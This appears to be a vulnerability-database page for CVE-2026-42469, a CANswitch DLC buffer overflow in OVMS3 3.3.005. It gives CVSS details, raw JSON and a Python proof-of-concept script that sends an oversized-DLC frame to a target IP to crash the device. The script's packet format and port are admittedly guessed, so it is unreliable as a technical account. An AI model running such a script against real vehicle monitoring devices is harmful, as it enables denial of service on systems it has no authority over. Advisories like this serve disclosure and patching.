Security Vulnerability Report
中文
CVE-2026-42469 CVSS 8.6 HIGH

CVE-2026-42469

Published: 2026-05-01 17:16:25
Last Modified: 2026-05-07 19:16:02

Description

Buffer overflow vulnerability in Open Vehicle Monitoring System 3 (OVMS3) 3.3.005. In canformat_canswitch.cpp the parser does not properly validate a CANswitch DLC value, allowing remote attackers to cause a denial of service or possibly execute arbitrary code via crafted CANswitch frames.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

No configuration data available.

Open Vehicle Monitoring System 3 (OVMS3) 3.3.005

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target IP and Port (Example configuration) target_ip = "192.168.1.100" target_port = 3000 # Assumed port for OVMS connection # Payload construction for CANswitch frame # The vulnerability lies in the DLC (Data Length Code) validation. # Sending a frame with an oversized DLC can trigger the buffer overflow. def create_malicious_canswitch_frame(): # Header format (simplified) # DLC is set to an abnormally high value (e.g., 0xFF) to bypass checks and cause overflow dlc_value = 0xFF frame_id = 0x123 data = b"\x41" * 8 # Arbitrary data # Constructing the packet structure # Format: ID (4 bytes) + DLC (1 byte) + Data (variable) header = struct.pack("<I", frame_id) packet = header + bytes([dlc_value]) + data return packet def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Connected to {target_ip}:{target_port}") payload = create_malicious_canswitch_frame() s.send(payload) print("[+] Malicious payload sent. Check for crash or shell.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42469", "sourceIdentifier": "[email protected]", "published": "2026-05-01T17:16:25.260", "lastModified": "2026-05-07T19:16:02.073", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow vulnerability in Open Vehicle Monitoring System 3 (OVMS3) 3.3.005. In canformat_canswitch.cpp the parser does not properly validate a CANswitch DLC value, allowing remote attackers to cause a denial of service or possibly execute arbitrary code via crafted CANswitch frames."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://gist.github.com/sgInnora/f4ac66faeefe07a653ceeb3f58cdc381", "source": "[email protected]"}, {"url": "https://github.com/openvehicles/Open-Vehicle-Monitoring-System-3/issues/1391", "source": "[email protected]"}]}}